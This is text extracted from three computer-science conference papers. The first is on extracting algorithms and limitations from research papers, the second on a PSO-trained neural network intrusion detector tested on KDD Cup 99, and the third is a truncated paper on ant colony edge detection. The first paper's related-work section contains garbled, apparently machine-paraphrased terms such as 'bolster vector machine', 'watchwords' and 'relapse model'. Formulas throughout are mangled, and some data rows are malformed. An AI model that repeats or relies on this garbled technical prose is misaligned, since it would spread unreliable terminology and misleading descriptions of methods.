4646, Procedia Computer Science, Elsevier. doi:10.1016/j.procs.2015.03.134, 26, 27 March
2015
Information Extraction from Research
Papers Based on Statistical Methods
Selvani Deepthi Kavila and D. Fathima Rani
Abstract In the research field we require more time to read a single research paper;
it also consumes more time to find the algorithms and limitations of the paper. So
we require a fast reading system to identify this problem. This paper identifies the
algorithms or techniques, or methods, and limitations of a research paper, and also
classifies the area of the algorithm. Key phrases are sets of words that elucidate the
relationship between context and content in the document. Key phrases are iden-
tified from the document and algorithms or techniques, or methods of that paper are
extracted. Keywords are a subset of words that contain important information and
the area is classified. Cue words are those that contain meaningful information used
to identify the limitations of the paper.
Keywords Text mining Information extraction Key phrase extraction Key

words Cue words
1 Introduction
In computer science, text mining has become an important research area. The
process of getting extremely useful information from an unstructured text is known
as text mining. Text mining is same as data mining, except the tools designed in
data mining are used to handle structured data from databases, but text mining can
work with semi-structured data, where as HTML files, emails, and full-text
S.D. Kavila D.F. Rani (&)

Department of Computer Science and Engineering, Anil Neerukonda Institute
of Technology and Sciences, Sangivalasa, Bheemunipatnam (M), Visakhapatnam, India
e-mail: fathimadirisina@gmail.com
S.D. Kavila
e-mail: selvanideepthi.cse@anits.edu.in

574 S.D. Kavila and D.F. Rani
documents, etc, and also includes unstructured text. Information extraction is one of
the technologies that have been developed and can be used in the text mining
process. In text mining, information extraction is an important research area. One of
the text mining techniques [1, 2] is information extraction which means extracting
of structured information from unstructured documents and semi-structured docu-
ments. In many cases, this action concerns the processing of human language text
by means of Natural Language Processing (NLP). Text mining has strong capable
connections with NLP.NLP has originated from technology that trains computer
natural language so that they may examine, understand, and even generate text
Information Extraction is the initial point for computers to examine unstructured
text. Information extraction software identifies key phrases and relationships
present within the text. It happens by pattern matching, which is a process of
exploring for predefined sequences in text. The software interprets the relationship
among the identified people, time, and places, where it provides significant infor-
mation to the user. For dealing with large or huge volumes of text this technology
can be very useful.
In this paper, we describe a framework that can extract algorithms or methods or
techniques from research papers, and classify text of research documents arrived to
the repository and extract demerits of the research paper. The proposed framework
consists of two phases; for module 1 first extraction of key phrases [3, 4] and for
module 2 it extracts keywords for classification of area [5] and categorization of
algorithms, and for module 3 it extracts cue words from the documents, where first
it constructs the list of key phrases, keywords, and cue words for the papers and in
the second phase it updates key phrases, keywords, and cue words list associated
with the new stream of research documents.
The remaining sections of the paper are as follows: Sect. 2 discusses the related
work based on text mining, key phrase extraction using information extraction
technique, and classification using area tracking, cue words based text extraction,
Sect. 3 describes the problem statement related to stream of documents dynamically
added to repository. The proposed architecture and framework explained in Sect. 4
whereas experimental results are reported in Sect. 5, and finally we conclude the
paper in Sect. 6.
2 Related Work
“Text mining” demonstrates the automated discovery of useful or interesting

knowledge from unstructured text by application of data mining techniques [1, 2].
There are several techniques proposed for text mining, which include conceptual
structure, episode rule mining, decision trees, association rule mining, and rule
induction methods. In addition, information retrieval (IR) techniques are widely
used as the “bag-of-words” model [2] for tasks such as document matching,
ranking, and clustering. Mooney and Nahm [5] proposed a DISCOTEX (Discovery
from Text Extraction) approach. For extracting a structured database from a text
Information Extraction from Research Papers … 575
corpus, this approach uses an automatic learned information extraction system.

Then it mines this database with existing KDD tools. The technique was applied to
a corpus of computer job announcement postings from an Internet newsgroup. IE
has shown to be useful in various other applications such as news articles on
corporate acquisitions, seminar announcements, university web pages, apartment
rental ads, and restaurant guides [5].
Zhang et al. [6] proposed an automatic keyword extraction from documents
using conditional random fields . Conditional random fields (CRF) model is a
cutting edge grouping naming technique, which can utilize the peculiarities of
records more sufficiently and adequately. In the meantime, decisive words extrac-
tion can be considered as the string naming. In this paper, we propose and execute
the CRF-based watchword extraction approach. Trial results demonstrate that the
CRF model beats the other machine learning routines, for example, bolster vector
machine, various direct relapse model, and so forth in the undertaking of watch-
words extraction from scholastic reports.
Menaka and Radhika [7] proposed a “Text Classification using Keyword
Extraction Technique” content grouping as one of the real utilizations of machine
learning. They proposed a technique to use content mining calculations to con-
centrate watchwords from research papers. The extricated pivotal words have the
most astounding similitude. At that point, archives are arranged taking into account
separated words utilizing the machine learning calculations—k-nearest neighbor,
naïve Bayes, and decision tree. The execution of machine learning calculations for
concept of characterization demonstrates that the decision tree calculation gives
better results in view of forecast exactness when contrasted with other calculations.
Pinaki bhaskar Kishorjit nongmeikapam Sivaji bandyopadhyay [8] proposed
“Key phrase Extraction In Scientific Articles: A Supervised Approach.” This paper
contains the definite methodology of programmed extraction of key phrases from
logical articles (i.e., examination paper) using regulated instrument like conditional
random fields (CRF).
Wan and Xiao [4] proposed single document key phrase extraction using
neighborhood knowledge. This paper affirms to utilize a little number of closest
neighbor archives to give more learning to enhance a single report key phrase
extraction
Learning to extract key phrases [9] from Text P. Turney In this paper, they
approach the issue of consequently extricating key phrases from the content as a
managed learning undertaking.
Hanyurwimfura et al. [10] proposes a method for cue word-based text extraction.
3 Proposed Work
A text document is an ordered sequence of words that arrives in timely order.

Document streams are different from documents stored in static repository. They are
uninterrupted, limitless, and come at high speed. Let R be the repository of d data
mining and m be the maximum number of key phrases. Let St n be stream of

n documents arriving at time stamp t, and Fnxm be feature word matrix associated
with recently added documents. Let Lnxm be feature word list for d areas and each
area has maximum of m feature words.
Step 1: Read the text from document
Step 2: Preprocess the text.
Step 3: Remove the stop words from document.
Step 4: Construct the list of key phrases, keywords, and cue words and their counts.
Step 5: Extract keywords, key phrases from the document and match with the
feature list
The above figure represents the architecture in which the stream documents arrive,
then each document applied to sequence of activities preprocessing, key phrase,
keyword extraction, and cue words are identified. The documents are moved to
repository one by one and storage management is based on processing models like
Land mark, sliding window model, and Damped model.
4.1 Stages of Proposed Work
4.1.1 Information Extraction from Document
The first step for the system using information extraction is to classify the
unstructured text. It is a software process of identifying key sentences, key phrases,
and relationships within the document. It uses predefined sequences in document
called pattern matching.
4.1.2 Key Phrase Extraction and Keyword Extraction
Key phrase extraction method contains three steps: document preprocessing, noun
phrase identification, and key phrase extraction.
(a). The preprocessing task includes formatting of each document. The pdf
document is converted into text format.
Documents preprocessing is to be done
Stop word elimination: Stop words are a part of natural language that does not
have much meaning in an information retrieval system. The reason that stop words
must be removed from a text is that they make the text look large and holds less
importance for analysts.
Stemming: Stemming techniques are used to find out the root or stem of a word.
In the present work, the Porter Stemmer algorithm is used, which is the most
commonly used algorithm in English.
Term Frequency—Inverse Document Frequency: Tf-idf is the product term
for frequency and inverse document frequency. These are statistical methods. The
number of times each term occurs in each document is counted and adds them all
together.
Term Frequency—Term frequency (TF) is defined as the number of times a
term occurs in a document
Inverse Document Frequency: Inverse document frequency is a method used
for measuring the importance of a term in a text document.
(b) Noun Phrase Identification
To identify the noun phrases of a document, tagging should be done. Tagging
assigns parts of speech to text and then noun phrases are identified. By extracting
the combination of noun phrases, term frequency-inverse document frequency is
calculated. And then algorithms or methods or techniques of research papers are
identified.
4.2 Classification by Keywords
Categorization is identifying the main thesis of a document by placing the docu-

ment into a predefined set of topics. Keywords are a set of important words in an
article that give high grade description of its contents to readers.
4.3 Keyword Extraction
Keyword extraction is an important technique for various text mining-related tasks

such as webpage retrieval, document clustering, document retrieval, and summa-
rization. The main motive of keyword extraction is to extract the keywords with
respect to their importance in the text.
Steps for keyword extraction are preprocessing, stop word removal, stemming,
and tf-idf calculation which is mentioned in Sect. 4.1.2
Naive Bayes Algorithm for classifying area
Naive Bayes classifier is the most popular method for classification of text which
helps in identification of whether a document belongs to one area(data mining) or
classifying algorithms from module 1 into their category (clustering, classification,
and association rule mining) and others by finding the word frequencies as the
features. It depends on the precise or exact nature of the probability model; it can be
trained in a systematic by a supervised learning.
Step 1: L : Set of feature words of order dxm ,doc : input document to check
Step 2: Let there be ‘d’ Classes: C1, C2, C3. . .Cd
Step 3: Naïve Bayes classifier predicts X belongs to Class Ci if
P(Ci/X) [ P(Cj/X) for 1 \= j \= m,j \[ i
P(Ci/X) = P(X/Ci) P(Ci) / P(X)
Maximize P(X/Ci) P(Ci) as P(X) is constant

The probability of keywords occurrence will be calculated and the keywords
with highest frequency count belonging to a particular area is identified.
4.4 Cue Word-Based Text Extraction for Demerits

of Research Paper
Text Document D is taken as input

Cues word set Ci ¼ fC1; C2; C3; C4. . .Cn g
Considering the conclusion part and
Segment the conclusion part into sentences Si = fS1; S2; S3; . . .. . .. . .Smg
Whenever any of the cue word in the cue word list (Ci) matches with words in
the sentence list (Si) then extract the content of text document.
5 Results and Observation
The results obtained were from naturally randomly generated text documents and
implementation of Java 7 on net bean Integrated Development environment. The
following is the sample tagging result
Clustering/NN is/VBZ a/DT process/NN of/IN putting/VBG similar/JJ

data/NNS into/IN groups/NNS ./. Clustering/NN can/MD be/VB
considered/VBN the/DT most/RBS important/JJ unsupervised/JJ

learning/NN technique/NN so/RB as/IN every/DT other/JJ problem/NN
of/IN this/DT kind/NN;/: it/PRP deals/VBZ with/IN finding/VBG a/DT
structure/NN in/IN a/DT collection/NN of/IN unlabeled/JJ data/NNS ./.
This/DT paper/NN reviews/VBZ six/CD types/NNS of/IN clustering/NN
techniques-/FW k-Means/FW Clustering/NN,/, Hierarchical/JJ
Clustering/NN,/, DBSCAN/NN clustering/NN
Noun phrases are identified and key phrases are extracted from the document
using kea algorithm, the list of key phrases up to (n = 4) are extracted. The results
shown below are done in testing phase whereas 100 documents are considered and
80 for training phase and then 81–100 documents are given to testing phase. Below,
four documents are shown and key phrases are identified for each document. The
resulting key phrases are matched with the user defined dataset that consists of a list
of algorithms and the obtained result for each document is shown below.
Document no keywords Keyphrase (n = 2) Keyphrase (n= 3) Keyphrase (n = 4)

81 27 10 3 –
82 13 2 – 2
83 22 – 1 –
84 18 3 – –
Output can be seen below:

The algorithms extracted from the documents having the key phrase value
n >= 2 which is mentioned below
Document no. Extracted algorithms

81 [11] k-means cluster, hierarchical cluster, DBSCAN cluster, bottom-up clustering
method, top-down clustering method, partition methods, hierarchical
methods, DENCLUE algorithm, density-based methods, grid-based methods,
STastical Information Grid, Agglomerative algorithm, Divisive algorithm,
82 [12] genetic algorithm, backpropagation algorithm, Naïve Bayesian learning
algorithm, candidate phrase extraction algorithm
83 [13] Transductive ranking algorithm
84 [14] K-Means algorithm, DBSCAN algorithm, genetic algorithm
This paper proposes extraction of algorithms from research papers and classifies its
area and identifies the limitations of a paper. The advantage of this paper is
reducing the search time for identification of algorithms, and classifies area or
category of algorithms, and also gives drawbacks of paper within a short period of
time. The proposed work is performed on a single domain (data mining) and the
future work is to consider different domains.
References
1. Pacheri Bari, J.: Introduction of text mining and analysis of text mining techniques.
Indian J. Res. 2(2) (2013). Singhania University
2. Gupta, V., Lehal, G.S.: A survey of text mining techniques and applications. J. Emerg.
Technol. Web Intell. 1(1), 60–76 (2009)
3. Sai Hari Priyanka, J.S.V., Sharmila Rani, J., Deepthi, K.S., Kranthi, T.: Information tracking
from research papers using classification techniques. In: Satapathy, S.C. et al. (ed.)
Emerging ICT for Bridging the Future, vol. 1, 153 Advances in Intelligent Systems and
Computing 33. Springer, Switzerland (2015)
4. Wan, X., Xiao, J.: Single document keyphrase extraction using neighborhood knowledge. In:
Proceedings of the Twenty-Third AAAI Conference on Artificial Intelligence (2008)
5. Mooney, R.J., Nahm, U.Y.: Text mining with information extraction. In: Daelemans, W., du
Plessis, T., Snyman, C., Teck, L. (eds.) Electronic Language Management: Proceedings of the
4th International MIDP Colloquium, September 2003, pp. 141–160. Bloemfontein, South
Africa, Van Schaik Pub., South Africa (2005)
6. Zhang, C., Wang, H., Liu, Y., Wu, D., Liao, Y., Wang, B.: Automatic keyword extraction
from documents using conditional random fields. J. Comput. Inf. Syst. 4(3), 1169–1180
(2008)
7. Menaka, S., Radha, N.: Text classification using keyword extraction technique. Int. J. Adv.
Res. Comput. Sci. Eng. 3(12) 2013
8. Joshi, A., Kaur, R.: Keyphrase Extraction in scientific articles: a supervised approach. Piaki
Bhaskar Kishorjit Nongmeikapam Sivaji Bandyopadhyay 3(3) 2013
9. Turney, P.: Learning to extract key phrases from text. National Research Council of Canada.
Kim, S.N., Kan. M.Y. Technical report (2009)
10. Hanyurwimfura, D., Liao, B., Njogu, H., Ndatinya, E.: An automated cue word based text
extraction. J. Converg. Inf. Technol. 7(10) June 2012 doi:10.4156/jcit.vol7.issue10.50
11. Amini, M.-R., Usunier, N.: A Review: Comparative Study of Various Clustering Techniques
in Data Mining. SIGIR’09, July 19.23, 2009, Boston, Massachusetts, USA ACM
978-1-60558-483-6/09/07
12. Sarkar, K., Nasipuri, M., Ghose, S.: A new approach to keyphrase extraction using neural
networks. Int. J. Comput. Sci. Issues 7(2), (2010)
13. Jadhav Bhushan, G., Warke Pushkar, U., Kuchekar Shivaji, P., Kadam Nikhil, V.:
Incorporating prior knowledge into a transductive ranking algorithm for multi-document
summarization. Int. J. Emerg. Technol. Adv. Eng. www.ijetae.com (ISSN 2250-2459, ISO
9001:2008), 4(4) (2014)
14. Jadhav Bhushan, G., Warke Pushkar, U., Kuchekar Shivaji, P., Kadam Nikhil, V.: Searching
research papers using clustering and textmining. Int. J. Emerg. Technol. Adv. Eng. 4(4) (2014)
www.ijetae.com (ISSN 2250-2459, ISO 9001:2008)
Artificial Neural Network Classifier
for Intrusion Detection System
in Computer Network
N. Lokeswari and B. Chakradhar Rao
Abstract An intrusion detection system is a security management tool for com-

puters and networks. An intrusion is mainly a try to violation of network security
requirements and norms. Detection deals with the countermeasures to detect such
attacks. The goal of the intrusion detection system mechanism is to observe the
network traffic if any packet whose pattern varies when standard to the normal
behavior is said to be an anomaly and hence an attack. The main objective of this
paper is to perform data preprocessing on KDD CUP 99 dataset to select a subset of
features to advance the speed of the detection process. A modified Kolmogorov–
Smirnov correlation-based filter algorithm is used to select features. And propose an
intrusion detection model using PSO-WENN; this can classify the attacks effec-
tively and reduce the number of false alarms generated by an intrusion detection
system and improve the attack detection rate.

Keywords KDD dataset Particle swarm optimization Intrusion detection

Artificial neural networks Particle swarm optimization weight extraction algo-
rithm for a neural network classifier (PSO WENN)
N. Lokeswari (&) B. Chakradhar Rao

Anil Neerukonda Institute of Technology and Sciences, Visakhapatnam, India
e-mail: lokeswari538@gmail.com
B. Chakradhar Rao
e-mail: botchachakradhar16@gmail.com

582 N. Lokeswari and B. Chakradhar Rao
1 Introduction
There are two types of intrusion detection techniques. They are

1. Anomaly-based intrusion detection and
2. Signature-based intrusion detection
Anomaly-based intrusion detection technique is based on the assumption that
any event/interaction which is not normal is an intrusion. An abnormal pattern is
defined as any packet whose attributes are different from the expected values which
occur normally [1].
Misuse detection techniques are those where known attempts can be detected or
tracked. Initially all the known attack patterns are specified, and any incoming
packet matching with any of these predefined packets is considered to be an
intrusion. Some of the popular techniques under this category are rule-based sys-
tem, which is represented using fact and rule bases [2].
Both anomaly- and misuse-based systems have their own limitations. Misuse
systems have failed to detect new patterns; they can only detect the attacks which
are predefined with their signatures in database. While anomaly-based systems can
detect novel attacks that have abnormal patterns but number of false positives and
false negatives, i.e., the possibility of wrongly classifying an attack and no attack
pattern is high. In signature-based IDS there is very less chance of wrong classi-
fication except the incapability of detecting new attacks. Hence currently, misuse
systems are most widely used instead of anomaly-based IDS [3]. But there are good
features of detecting novel attacks in anomaly-based systems which can give better
results when there is reduction in the false positives and false negatives; hence a lot
of research is going on in developing anomaly-based systems to reduce false
positives and false negatives using soft computing and other techniques.
Hence our focus is to build an anomaly-based intrusion detection system
(IDS) using soft computing techniques such as neural networks in order to mini-
mize the number of false positives and false negatives and to improve the accuracy
of the system in classifying the attacks and normal patterns.
Artificial Neural Network Classifier for Intrusion Detection … 583
The architecture which we proposed contains various modules, each defined

with a specific purpose and connected together to yield an end result.
The first module is the training data acceptance module wherein a set of records
from previous interactions and knowledge are given to the system which acts as
sample training data.
The second module is known as an (Feature Selection module) (FS module). In
this module, the training data is organized and the features essential to find intru-
sions are stored in the features database after going through a feature selection
process facilitated by an algorithm. This module also facilitates the training process
for the NN-classifier module.
The third module is the data processing module which processes the audit data or
the incoming packets at the ports through the communication link, and chooses the
feature specified in the features database from these packets and then binds the
values corresponding to these features. These values serve as input to the next
module.
The fourth and the most important module is the classification module wherein
the input from the previous modules is analyzed using the training process done
from the RS module. Neural network concepts are applied to classify the attacks
into different types based on certain classification algorithms and feature values.
The fifth module is the alarm module where the alarms corresponding to the
attack types are raised and alerts are sent to the analyst for further actions.
3 KDD Cup 1999 Dataset for Classification
This is the dataset used for The Third International Knowledge Discovery and Data
Mining Tools Competition, which was held in conjunction with KDD-99, The Fifth
International Conference on Knowledge Discovery and Data Mining.
Every record in the dataset represents an access to the system which consists of
41 attributes that represent the behavior of the access and classify it as normal or
attack.
Different types into which the attacks can be categorized using the values of
these features are
(a) Probing
(b) User to Root attack (U2R)
(c) Remote to Local (R2L)
(d) Denial of Service (DoS)
This dataset is given as input to the system where the attributes useful for
detecting behavior are selected in the feature selection module. In this module 12
attributes are selected and hence only the data regarding these attributes is enough
for the system to function properly (reduced dataset).
3.1 Feature Selection
Feature selection technique is the process of identifying the much irrelevant and
redundant information and removing them as much as possible. This is a dimen-
sionality reduction process which may let learning algorithms to operate faster and
more efficiently and so the accuracy of classification can be improved. In this paper
we use a Modified Kolmogorov–Smirnov correlation-based filter algorithm to
select subset of features which are useful in detecting the intrusion.
In this paper we select 12 attributes [4] which are useful in detecting the
intrusions.
They are:
1. Service: Network service on the destination.
2. Src_bytes: Number of data bytes from source to destination
3. Dst_bytes: Number of data transferred in terms of bytes from destination to
source
4. Logged_in: If successfully logged in, value is 1 otherwise 0
5. Count: Total number of connections to the same host as the present connection
in the past two section
6. Srv_count: Number of connections to the same service as the present con-
nection in the past 2 s.
7. Serror_rate:Percentage (%) of connections that have “SYN” errors
8. Srv_rerror_rate: Percentage (%) of connections that have “REJ” errors
9. Srv_diff_host_rate:Percentage (%) of connections to different hosts
10. Dst_host_count: Number of connections to the same host
11. Dst_host_srv_count: Sum of connections to the same destination port number
12. Dst_host_diff_srv_rate: The percentage (%) of connections that were to dif-
ferent services, among the connections aggregated in Dst_host_count
Assigning numeric values to nonnumeric attributes: Categorical encoding refers to

the process of assigning numeric values to nonnumeric attributes in order to make
the processing task much simpler, as numeric data can be easily operated upon. We
consider KDD dataset with 42 features, out of which we have chosen 12 attributes
for intrusion detection; we have one nonnumeric attribute namely service_type.
Service_type can have 64 values that are categorical such as http, smtp, ecr_i, etc.
These values are converted into numerical format by arbitrarily assigning values to
each category as shown:
IRC : 1; X11 : 2; Z39 50 : 3; . . .
4 Normalization
Normalization is the act of enclosing the values of attributes to a specific range to

minimize the complexity involved in dealing with data spread over an absolute
range and type of values.
Different features have values spread over wide ranges and types. Hence they are
to be minimized to a specific range being beneficial to enable proper processing and
analysis of the data. This process of confinement is referred to as normalization.
We select to minimize the values to the new range as specified,
V 0 ¼ ððv min AÞ=ðmax A min AÞÞ

ððnew max A new min AÞ þ new min AÞ:
where maxA: maximum value of attribute observed

minA: minimum value of attribute observed
new minA : minimum value of new range
new maxA : maximum value of new range
v ¼ value of the attribute before normalization
V 0 ¼ value of the attribute after normalization
We take the range from 0.0 to 1.0 and hence new minA ¼ 0:0 and
new maxA ¼ 1:0 for all the attributes. By substituting these values, the formula is
reduced to
V 0 ¼ ððv min AÞ=ðmax A min AÞÞ
Example: Normalization of a data tuple with 12 features.
Before 22 221 5989 1 5

After 0.343 0.0008 0.021 1 0.009
5 0 0 0 83 253 0
0.009 0 0 0 0.32 0.99 0
Few rows from dataset

http 294 16082 1 27 28 0 0 0.07 255 255 0 normal.
http 289 313 1 37 38 0 0 0.05 255 255 0 normal.
http 8766 0 0 8 8 0 0 0 93 37 0.05 normal
http 0 0 0 40 40 1 0 0 255 255 0 apache2.
http 0 0 0 41 41 1 0 0 255 255 0 apache2.
http 0 0 0 42 42 1 0 0 255 255 0 apache2.
http 54540 8314 1 3 20 0 0 0.1 255 253 0.01 back.
http 54540 8314 1 2 20 0 0 0.4 255 253 0.01 back.
http 54540 8314 1 3 6 0 0 0.33 255 253 0.01 back.
The above dataset after Preprocessing
0.3438 0 0 0 0.0783 0.0783 1.000 0 0 1.0000 1.0000 0
0.3438 0 0 0 0.0802 0.0802 1.000 0 0 1.0000 1.0000 0
0.3438 0 0 0 0.0822 0.0822 1.000 0 0 1.0000 1.0000 0
0.3438 0.1923 0.0293 1.0000 0.0059 0.0391 0 0 0.1000 1.0000
0.3438 0.1923 0.0293 0.0293 1.0000 0.0039 0.0098 0 0 0.4000 1.0000

0.3438 0.1923 0.0293 1.0000 0.0059 0.0117 0 0 0.3300 1.0000
0.3438 0.0010 0.0567 1.000 0.0528 0.0548 0 0 0.00700 1.0000
0.3438 0.0010 0.0011 1.0000 0.0724 0.0744 0 0 0.0500 1.0000 1.0000 1.0000
0.3438 0 0 0.0157 0.0157 0.0157 0 0 0.3647 0.1451 0.0500 1.0000
5 Structure of Artificial Neural Network Classifier
5.1 Neural Network Learning
We have selected 12 attributes basing Modified Kolmogorov–Simronov algorithm

[5] which are given as inputs to the 12 input neurons in the input layer. Numbers of
the output layer neurons are chosen to be 1 basing on the classification of the attack
types and the normal behavior [6]. Numbers of the hidden layer neurons are chosen
arbitrarily basing on the thumb rule that it should be intermediary between the
number of neurons in input layer and the output layer. We have chosen back
propagation as the learning or training algorithm for our neural network and weight
updation is done based on PSO-weight Extraction algorithm.
5.2 The Proposed Model
The proposed model is carried out in three phases: the first phase is called pre-
processing and the PSO-weight Extraction is described in second phase and the
third phase is called NN classification.
5.2.1 Preprocessing
Preprocessing, the first stage is shown in figure; here also the same 12 features are
considered in the section.
5.2.2 PSO-Based Weight Extraction
When PSO is used, three factors will have impact on the accuracy of the results,
they are:
(1) The representation of initial population (particle representation)
(2) The computation of fitness function
(3) The effectiveness (velocity and position) of the PSO parameters.
The initial population that is the representation of particles is shown in below
Fig. 1.
Assume that the NN configuration is l-m-n (l—input neurons n-output neurons,
and m-hidden neurons), then total the number of weights determined should be
(l + n)m [5]. As an example network, it is used l = 12, n = 1, and m = 4; then the
total number of weights to be determined is (l + n)m = (12 + 1) * 4 = 52. So in our
example initial population contains 52 particles. With each weight (particle) being a
real number and further it is assumed that each particle is of length ‘d’, then a string
S of decimal values representing the (l + n) * m weights and therefore having a
string length L = (l + n) * m * d is randomly generated. Then the weights are to be
extracted from one such string so that the weights can be used by the NN (Fig. 2).
Fig. 1 Representation of initial particles
Fig. 2 General operation

representation of PSO
algorithm
PSO-Based Weight Extraction Algorithm
Step 1: i =0
Step2: Consider the initial population Pi of real-coded particles
Cij each representing a weight set for the BPN.
Step3: While the present population Pi has not converged
{
Step 4: compute the fitness values Fij for each Cij, using the
Following equation:
{
Step 4.1: Select weights Wi from Cij by using following equations
( Xkdþ2 10d2 þXkdþ3 10d3 þ...þXðkþ1Þd
þ ; if 5 Xkdþ1 9
Wk ¼ 10d2
Xkdþ2 10d2 þXkdþ3 10d3 þ...þXðkþ1Þd
10d2 ; if 0 Xkdþ1 \5
Set Wi as a stable weight, train the Back Propagation Network for the N input
samples;
Step 4.2: Compute the error Ei For every of the input sample using formula:
Eij= (Tji-Oji)2
Where Oi is the output vector computed by BPN;
Step 4.3: Calculate the root mean square E of the errors Ei, i = 1, 2, …. N
E= ( Ei/N)
Step 4.4: Compute the fitness value Fi for every Individual string of the population as
Fi = 1 / E
} // end of step 4.
Step 5: Update velocity v,and position x of particle.
Step 7:i==i+1;
Step 8: Call the present population Pi
Step 9: Calculate fitness values Fij for each C ij
} // while end
5.3 Neural Network Classifier Algorithms
The NN-Classifier algorithm is described as follows:
The NN-Classifier algorithm is described as follows

Algorithm: NN-Classifier
Input: Weights extracted by the PSO-Weight Extraction Algorithm, Normalized
dataset for classification.
Output: Classifies the given normalized network traffic into normal and abnormal
categories and the accuracy of the prediction gives as output
Method:
Step 1: Start
Step 2: Nr = no of rows in test data
Step 3: for i=l to nr
{
Step 3.1: Assign the input to input layer that is the output of input layer
IOut=IIn;
Step 3.2: Compute the Hidden layer neurons inputs
Step 3.3: Compute the Hidden layer neuron outputs
Step 3.4: Compute the Input to the output layer neuron
Step 3.5: Compute the output of the Output layer Neuron
}
Step 4: Compute the accuracy
Step 5: Stop
5.4 Experimental Results
The “Corrected Dataset” is taken for our experiments from MIT Lincoln labora-
tories KDD 99 dataset. In the dataset, each record contains 41 attributes along with
class label which says whether it is an attack or not. This dataset consists totally of
39 different attacks which can be classified into 4 different categories namely
Denial-of-service (DOS), Probing, User to Root (U2R), Remote to User (R2L)
(Figs. 4 and 5, Fig. 3).
Fig. 3 False positive rate of NN classifier with PSO-based BPN algorithm
Fig. 4 Accuracy of NN classifier with PSO-based BPN algorithm
Fig. 5 Detection rate of NN classifier with PSO-based BPN algorithm
6 Conclusion
This paper mainly focuses on the classification of data to detect intruders trying to
enter into a system. We used artificial neural network trained using back propa-
gation algorithm (BPN), and the particle swarm optimization (PSO) algorithm is
used for weight updating to detect such intrusions by applying them to input
dataset, i.e., KDD CUP 99 with dimensionality reduced. The proposed PSO-BPN
algorithm gives good result with appreciable accuracy, detection rate and false
positive rate, and gives scope for future work.
References
1. Anderson, P., Computer Security Threat Monitoring and Surveillance. Technical report,
James P Anderson Co., Fort Washington, Pennsylvania, April 1980
2. Modeling an intrusion detection system using data mining and genetic algorithms based on
fuzzy logic. IJCSNS Int. J. Comput. Sci. Netw. Secur. 8(7) 2008
3. Jones, A.K., Sielken, R.S.: Computer system intrusion detection: a survey. http://www.cs.
virginia.edu/*jones/IDS-research/Documents/jones-sielken-survey-v11.pdf
4. Ali, K.M., Venus, W., Al Rababaa, M.S.: The Affect of Fuzzification on Neural Networks
Intrusion Detection Systems, IEEE Xplore, 978-1-4244-2800-7/09
5. KDD CUP DATA 1991 data set url http://kdd.ics.uci.edu/databases/kddcup99/corrected.gz
6. Rajasekaran, S., Vijayalakshmi, Pai, G.A.: Neural Networks, Fuzzy Logic, and Genetic
Algorithms Synthesis and Applications
Edge Detection on an Image Using Ant
Colony Optimization
P. Hinduja, K. Suresh and B. Ravi Kiran
Abstract The edge detection is a primary technique in image processing which

gives the form of the object in an image. The absolute result of edge detection
method can build the boundary of the object and also the curves of the surfaces, and
in image segmentation registration and object detection, edge detection method is
used. There are many approval methods for edge detection, such as model-based
approach, first-order derivation of edge detection, second-order derivation of edge
detection, and Canny edge detection. In existing system, we used Canny method
while detecting the edge of an image, and when we are using there are some defaults
like noise sensitivity. To get a better result of edge detection method, we are going to
propose an optimization algorithm named Ant colony optimization algorithm.
Keywords Image processing Edge detection method Canny method Ant

colony optimization
1 Introduction
Image processing is a process which can proceed any method or algorithm by

taking image as an input from a picture or from a video frame and gives the output
as an image or characteristic parameters regarding an image. In image processing,
from last four to five decades, several techniques have been enlarged. In these, so
P. Hinduja (&) K. Suresh B. Ravi Kiran

Department of Computer Science and Engineering,
Anil Neerukonda Institute of Technology and Sciences,
Sangivalasa, Bheemunipatnam [M], Visakhapatnam, India
e-mail: hinduja.p22@gmail.com
K. Suresh
e-mail: kurumallasuresh@gmail.com
B. Ravi Kiran
e-mail: brk2007@gmail.com

594 P. Hinduja et al.
many techniques are developed to build up the images from unmanned space crafts,
space probes, and military inspection flights.
The feature which carries a relevant information from the objects which exists in
the image is called an edge. Extraction of the edges is called as edge detection.
Image segmentation is one of the methods used in edge detection. The main focus
of edge detection is to restrict the outline of objects in an image and also decreases
the amount of data to be continued. It is a process of locating the sudden intensities
which discontinues in an image.
Ant colony optimization (ACO) is one among the evolutionary techniques. Ant
colony optimization is mainly based upon the pheromone released from the ants which
is produced from the ant while searching for the source food. It creates a shortest path
by the release of pheromone which helps for the remaining ants to follow. In this
paper, we use ACO on edge detection method which is applied on an image. The main
aim of the ACO is to produce the information regarding an edge of an image.
Remaining sections of the paper is described as follows. Section 2 describes the
related works based on various subsections like existing works related to edge
detection. Section 3 explains the introduction on optimization techniques. Section 4
describes about edge detection method using Ant colony optimization on an image.
Section 5, describes results and observations, and finally Sect. 6 concludes the paper.
2 Related Work
A significant normal change in the image intensity of an image is called as an edge.

Edges calculate boundaries, and they considered it as a major importance in image
processing. The first step which recovers the important information from image is
edge detection method. Due to its greatness, it continued as an active research area
[1]. Edge detection riddles away the unnecessary information, noise, and fre-
quencies which maintains the essential structural properties in an image [2].
Here, we can notice the image edge by different methods. They can be detected
using visual pattern of any type of edges. By this there occur some defaults, so we
are using a method named Canny method to recover this detection of edges [3].
In this research, we are detecting the edges of an image by Canny. While detecting
the images, noise data increase, so we are going to use Ant colony optimization
method. And by this method with the help of pheromone, we detect the shortest way of
an edge to be continued and it will be noticed and continued with the path [4].
2.1 Edge Detection
A very major topic in the processing of multispectral remote sensing images is edge
detection technique. It is a fundamental tool which is used in image processing. It’s
scope is fully used for aspect detection and extraction, which are pointed in a digital
Edge Detection on an Image Using Ant Colony Optimization 595
Fig. 1 Different types of

edge detector [5]
image where there are some changes in the image brightness. The main aim is to
truncate the extent of data in an image and exit the structural possessions further-
more in image processing. There are different types of edge detection techniques in
the literature [5]. They are first-order detective using gradient and second-order
detective using Laplacian (Fig. 1).
2.2 Canny Edge Detector
In 1986, by John F. Canny, Canny edge detector is initiated. It is mainly helpful to

find out a huge range of edges in images. Canny edge detector considers the
MathWork problem of deriving an optimum smoothing filter given in the format of
detection, and giving multiple responses to a single edge.
The process is in the below steps:
Step 1: Image is smoothened by a Gaussian filter.
Step 2: Using approximate finite differences to compute the gradient values.
Step 3: To detect the link edges, we apply non-maxima suppression to the gradient
matrix [6].
3 Optimization Technique
To implement various data mining algorithms, optimization techniques have been

widely acquired. These optimization techniques are mainly applied in classification
analysis, and there are some algorithms of association analysis based on optimization.
Nowadays, several optimization algorithms are developed based on Support Vector

Machine (SVM) method in supervised classification and also in unsupervised
classification.
3.1 Different Optimization Techniques
A metaheuristic is normally designated as a relative propagation procedure which

advises a subalternate heuristic by merging various concepts for examining and
utilizing the finding space, and learning strategies which are utilized to configure
